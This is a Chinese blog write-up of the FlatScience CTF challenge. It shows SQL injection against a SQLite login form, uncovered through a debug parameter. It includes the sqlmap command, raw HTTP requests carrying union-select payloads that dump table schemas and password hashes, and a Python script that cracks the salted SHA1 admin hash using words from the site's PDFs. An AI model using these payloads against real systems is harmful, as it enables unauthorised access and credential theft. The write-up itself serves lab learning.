

【攻防世界】二十四 --- FlatScience

原创

通地塔 于 2021-01-26 21:04:21 发布 120 收藏 3

分类专栏: [攻防世界](#) 文章标签: [ctf 网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_43168364/article/details/112161044

版权



[攻防世界](#) 专栏收录该内容

24 篇文章 0 订阅

订阅专栏

题目 ---- FlatScience

一、writeup

主页如下所示



Best Papers

Hey! Welcome to my (partly unfinished) oldskool Website!
I'm Prof. Flux Horst, .. argh, 'nuff said - you should know me!
Here are some of my famous Papers i wrote so far.

Maybe you check them out yourselves?!

Try [this](#) or [this](#) or go [here](#)

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_43168364

使用 `dirsearch` 扫描到了下面几个关键目录: `robots.txt`, `login.php`, `admin.php`, 剩下的目录就是一些pdf格式的论文了, 目前还不知道这些论文有什么用, 先放着(猜测这些论文应该是要爬取关键字用作字典的)。来看看 `login.php` 页面。是一个登录界面。



Login

Login Page, do not try to hax here plox!

ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_43168364

这里存在 **post注入**，且数据库是 **SQLite3**

```
POST /login.php HTTP/1.1
Host: 220.249.52.134:49220
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://220.249.52.134:49220
Connection: close
Referer: http://220.249.52.134:49220/login.php
Upgrade-Insecure-Requests: 1

usr=admin&pw=admin
```

Last Modified: Fri Mar 31:33:7 UTC 1337

Login

Login Page, do not try to hax here plox!

ID:

Password:

Submit

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "47ee9c4ad11802435de8513b2e3aae38003ac543" in /var/www/html/login.php on line 47

Some Error occurred!

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_43168364

由于不会 **SQLite3** 的注入方法，直接上sqlmap，执行：`sqlmap -r http.txt --risk 3 --level 5 --dump-all --batch` 得到了一些数据

```
[20:58:03] [WARNING] no clear password(s) found
Database: SQLite_masterdb
Table: Users
[3 entries]
+-----+-----+-----+-----+-----+
| id | 255 | name | hint | password |
+-----+-----+-----+-----+-----+
| 1 | 255 | admin | my fav word in my fav paper?! | 3fab54a50e770d830c0416df817567662a9dc85c |
| 2 | 255 | fritze | my love is...? | 54eae8935c90f467427f05e4ece82cf569f89507 |
| 3 | 255 | hans | the password is password | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd |
+-----+-----+-----+-----+-----+
```

https://blog.csdn.net/qq_43168364

这三个密码用 **john** 一时半会儿爆破不出来，根据admin中的hint字段的提示：`my fav word in my fav paper?!`。猜测密码就在之前的那些 **pdf** 文件中。这里还有一点要注意，`login.php` 页面的 **html注释** 中有提示

Login

220.249.52.134:49220/login.php

火狐官方网站 常用网址 镇江 就业系统-学生端 在线翻译_有道 国家信息安全漏洞共... ctf 查询自我IP(wall) 查询我的IP ip代理

Login

Login Page, do not try to hax here ploX!

ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
  <head></head>
  <body>
    <div class="lastmod" align="right">Last Modified: Fri Mar 31:33:7 UTC 1337</div>
    <h1>Login</h1>
    Login Page, do not try to hax here ploX!
    <br>
    <form method="post"></form>
    <!--TODO: Remove ?debug-Parameter!-->
    <hr noshade="">
    <address>Flux Horst (Flux dot Horst at rub dot flux)</address>
  </body>
</html>
```

https://blog.csdn.net/qq_43168364

加上一个 `?debug` 查询字符串可以看到回显的php代码

Login

220.249.52.134:49220/login.php?debug

Login

Login Page, do not try to hax here ploX!

ID:

Password:

Submit

```
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eaeaea; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
```

https://blog.csdn.net/qq_43168364

其中的php代码如下

```
<?php
// ob_start --- 打开输出控制缓冲。此函数将打开输出缓冲。
// 当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中
ob_start();
?>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    $user = $_POST['usr'];
    $pass = $_POST['pw'];

    // 实例化一个访问数据库的类
    $db = new SQLite3('../fancy.db');

    // 加密方式: sha1($pass."Salz!")
    $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occurred!";
    }

    // 如果登录成功就设置cookie，在进行sql注入时回显的数据是在响应包的Set-Cookie字段的
    if(isset($row['id'])){
        setcookie('name', ' '.$row['name'], time() + 60, '/');
        header("Location: /");
        die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
```

通过源代码可以看到数据库中存放的密码是：`sha1(用户设置的密码+"Salz!")`的格式。现在的思路是：将所有的pdf文件中的字拿出来和Salz!拼接，然后用sha1取hash值，看那个和上面用sqlmap中跑出来的admin的密码字段中的值相同，那其就是admin的密码了

id	255	name	hint	password
1	255	admin	my fav word in my fav paper?!	3fab54a50e770d830c0416df817567662a9dc85c
2	255	fritze	my love is...?	54eae8935c90f467427f05e4ece82cf569f89507
3	255	hansi	the password is password	34b0bb7c304949f9ff2fc101eef0f048be10d3bd

编写的代码如下所示：

```
import requests
from bs4 import BeautifulSoup
import os
import re
import hashlib
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
```

```

from pdfminer.pdfpage import PDFPage
from pdfminer.pdfpage import PDFTextExtractionNotAllowed
from pdfminer.pdfinterp import PDFResourceManager
from pdfminer.pdfinterp import PDFPageInterpreter
from pdfminer.layout import *
from pdfminer.converter import PDFPageAggregator

# 将pdf转换为txt的函数
def pdf2txt(path):
    # 打开PDF文件
    pdfFile = open(path, 'rb')

    # 创建pdf文档分析器
    parser = PDFParser(pdfFile)

    # 创建PDF文档对象存储文档结构
    document = PDFDocument(parser)

    # 检查文件是否允许文本提取
    if not document.is_extractable:
        raise PDFTextExtractionNotAllowed

    # 创建PDF资源管理器对象来存储共享资源
    resource = PDFResourceManager()

    # 设定参数进行分析
    laparams = LAParams()

    # 创建一个PDF设备对象
    device = PDFPageAggregator(resource, laparams=laparams)

    # 创建一个PDF解释器对象
    interpreter = PDFPageInterpreter(resource, device)

    # 创建存储转换结果的同名txt文件
    fileName = str(path.split(".")[0])
    newFileName = fileName + ".txt"
    f = open(newFileName, "w")

    # 处理每一页
    for page in PDFPage.create_pages(document):
        interpreter.process_page(page)
        # 接受该页面的LTPage对象
        layout = device.get_result()
        for x in layout:
            if isinstance(x, LTTextBoxHorizontal):
                # 写入txt文件
                try:
                    f.writelines(x.get_text() + "\n")
                except:
                    pass
    f.close()

# 下载所有pdf文件的函数
def downloadpdf():
    pdfUrl = [] # 存放所有pdf文件的连接
    # 爬取所有的pdf文件的连接
    urlList = [
        "http://220.249.52.134:44174/"
    ]

```

```

    "http://220.249.52.134:44174/",
    "http://220.249.52.134:44174/1/index.html",
    "http://220.249.52.134:44174/1/2/index.html",
    "http://220.249.52.134:44174/1/2/4/index.html",
    "http://220.249.52.134:44174/1/2/5/index.html",
    "http://220.249.52.134:44174/1/3/index.html",
    "http://220.249.52.134:44174/1/3/6/index.html",
    "http://220.249.52.134:44174/1/3/7/index.html",
    "http://220.249.52.134:44174/1/3/7/8/index.html"
]
for each in urlList:
    r = requests.get(url=each)
    soup = BeautifulSoup(r.text, 'lxml')
    result = soup.find_all(name="a", attrs={"title":"my very fav paper"})
    for tmp in result:
        if tmp["href"].endswith(".pdf"):
            pdfUrl.append(each.split("index.html")[0] + tmp["href"])

# 使用curl -O 命令下载pdf文件
for each in pdfUrl:
    os.system("curl -O " + each)

# 取hash值的函数
def sha1(msg):
    sha1 = hashlib.sha1()
    sha1.update((msg + "Salz!").encode("utf-8"))
    return sha1.hexdigest()

# 破解密码的函数
def getpassword():
    passlist = {
        "3fab54a50e770d830c0416df817567662a9dc85c":"admin",
        "54eae8935c90f467427f05e4ece82cf569f89507":"fritze",
        "34b0bb7c304949f9ff2fc101eef0f048be10d3bd":"hansi"
    }
    for each in os.listdir(os.curdir):
        # 取出txt文件
        if each.endswith(".txt"):
            with open(each, "r") as file:
                a = file.read()
                b = re.split(r"[\s\,\;\.]+", a) # 将单词分割出来
                c = []
                tmp = ""
                judge = False
                # 处理以-结尾的行, 最终的结果保存在c中
                for each in b:
                    if each.endswith("-"):
                        tmp = each.split("-")[0]
                        judge = True
                    elif judge:
                        c.append(tmp + each)
                        judge = False
                    else:
                        c.append(each)
                # 遍历c 碰撞得到密码
                for each in c:
                    print(each)
                    if sha1(each) in passlist:

```

```
        return "----" + passlist[sha1(each)] + "'s password is " + each + "Salz!" + "----"

def main():
    os.chdir(os.getcwd() + os.sep + "pdfdir") # 修改工作目录
    downloadpdf() # 下载pdf文件

    # 将所有pdf文件转换成txt文件
    for each in os.listdir(os.getcwd()):
        pdf2txt(each)

    # 遍历所有的txt文件得到密码
    password = getpassword()
    return password

if __name__ == "__main__":
    print(main())
```

运行之后可得 `admin` 的密码是: `ThinJerboaSalz!`



登录之后可以看到flag

二、知识点

1.SQLite3的注入方法

注入点: post提交的参数中, **注入类型** 是字符型

Last Modified: Fri 11

Login

Login Page, do not try to hax here plox!

ID:

Password:

Warning: SQLite3:query(): Unable to prepare statement: 1, unrecognized token: "47ee9c4ad11802435de8513b2e3aae38003ac543" in `/var/www/html/login.php` on line 47

Some Error occurred!

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_43168364

根据前面的原理可知构造的payload是: 'admin' + '---' + 'ThinJerboaSalz!' + '---'

根据前面的代码可知读到的内容总是会与到COOKIE中，如下所示

Request

Raw Params Headers Hex

```
POST /login.php HTTP/1.1
Host: 220.249.52.134:52633
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://220.249.52.134:52633
Connection: close
Referer: http://220.249.52.134:52633/login.php
Upgrade-Insecure-Requests: 1

us=admin' --+&pw=admin
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 302 Found
Date: Fri, 15 Jan 2021 08:08:35 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.30
Set-Cookie: name=admin; expires=Fri, 15-Jan-2021 08:09:35 GMT; Max-Age=60;
Location: /
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
```

字段数：2

POST /login.php HTTP/1.1

Host: 220.249.52.134:52633

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

Origin: http://220.249.52.134:52633

Connection: close

Referer: http://220.249.52.134:52633/login.php

Upgrade-Insecure-Requests: 1

us=admin' order by 3]' +&pw=admin

Last Modified: Fri Mar 31:33:7 UTC 1337

Login

Login Page, do not try to hax here ploX!

ID:

Password:

Submit

Warning SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 2 in /var/www/html/login.php on line 47

Some Error occurred!

Flux Horst (Flux dot Horst at rub dot flux)

Raw Params Headers Hex

```
POST /login.php HTTP/1.1
Host: 220.249.52.134:52633
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://220.249.52.134:52633
Connection: close
Referer: http://220.249.52.134:52633/login.php
Upgrade-Insecure-Requests: 1

us=admin' order by 2]' +&pw=admin
```

Raw Headers Hex HTML Render

```
Last Modified:
```

Login

Login Page, do not try to hax here ploX!

ID:

Password:

Submit

显示位：第二个字段

POST /login.php HTTP/1.1

Host: 220.249.52.134:52633

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

HTTP/1.1 302 Found

Date: Fri, 15 Jan 2021 08:28:08 GMT

Server: Apache/2.4.10 (Debian)

X-Powered-By: PHP/5.6.30


```
Accept: text/xml,application/xml,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://220.249.52.134:52633
Connection: close
Referer: http://220.249.52.134:52633/login.php
Upgrade-Insecure-Requests: 1
```

```
usi=-admin' union select 1,2--+&pw=admin
```

```
X-Powered-By: PHP/5.6.30
Set-Cookie: name=+2; expires=Fri, 15-Jan-2021 08:29:08 GMT; M
Location: /
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
background: #eeeeee;

```

SQLite数据库中存在一个 `sqlite_master` 默认表，类似于 `mysql` 中的 `information_schema`，可以在 `sqlite_master` 中查看所有的表名，以及之前执行过的建表语句，详细内容如下：

- `sqlite_master` --- SQLite的系统表。该表记录数据库中保存的表，索引，视图和触发器信息。在创建sqlite数据库时该表会自动创建，`sqlite_master`表 包含5个字段：
 - `type` --- 记录该项目的类型，如：table、index、view、trigger
 - `name` --- 记录该项目的名称，如：表名、索引名等
 - `tbl_name` --- 记录所从属的表名，如索引所在的表名。对于表来说该列就是表名本身。
 - `rootpage` --- 记录项目在数据库页中存储的编号。对于视图和触发器该字段为0或者NULL
 - `sql` --- 记录创建该项目的sql语句

so，我们可以构造如下所示的sql语句

- `select tbl_name from sqlite_master` --- 查询所有的表名
- `select sql from sqlite_master` --- 查询执行过的sql语句
- `select sql from sqlite_master where type='table' and tbl_name='Users'` --- 查询创建Users表的sql语句
- 首先查到表名，再通过创建表的sql语句查到表中的字段信息，应用如下

表名：Users

```
Raw Params Headers Hex
POST /login.php HTTP/1.1
Host: 220.249.52.134:52633
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://220.249.52.134:52633
Connection: close
Referer: http://220.249.52.134:52633/login.php
Upgrade-Insecure-Requests: 1

usr=admin' union select 1,tbl_name from sqLite_master--+&pw=admin

Raw Headers Hex HTML Render
HTTP/1.1 302 Found
Date: Fri, 15 Jan 2021 08:35:38 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.30
Set-Cookie: name=+Users; expires=Fri, 15-Jan-2021 08:36:38 GMT;
Location: /
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #e0e0e0; padding: 5px; border: 1px solid black; width: 100%;}
```

Users表的字段

```
Raw Params Headers Hex
POST /login.php HTTP/1.1
Host: 220.249.52.134:52633
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://220.249.52.134:52633
Connection: close
Referer: http://220.249.52.134:52633/login.php
Upgrade-Insecure-Requests: 1

usr=admin' union select 1,sql from sqLite_master where type='table' and tbl_name='Users'--+&pw=admin

Raw Headers Hex HTML Render
HTTP/1.1 302 Found
Date: Fri, 15 Jan 2021 08:58:00 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.30
Set-Cookie: name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29; expires=Fri, 15-Jan-2021 08:59:00 GMT;
Location: /
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
```

解编码得

```
+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

CREATE TABLE Users(id int primary key name varchar(255) password varchar(255) hint varchar(255))
```

Users表有四个字段：id, name, password, hint，利用group_concat()分别查询name, password和hint字段。执行如下所示的命令

- union select 1,group_concat(name,"++++") from Users --+
- union select 1,group_concat(password,"++++") from Users --+
- union select 1,group_concat(hint,"++++") from Users --+

查询到的结果如下所示

admin

3fab54a50e770d830c0416df817567662a9dc85c
my+fav+word+in+my+fav+paper%3F%21

fritze

54eae8935c90f467427f05e4ece82cf569f89507
my+love+is%E2%80%A6%3F

hansi

34b0bb7c304949f9ff2fc101eef0f048be10d3bd
the+password+is+password

https://blog.csdn.net/qq_43168364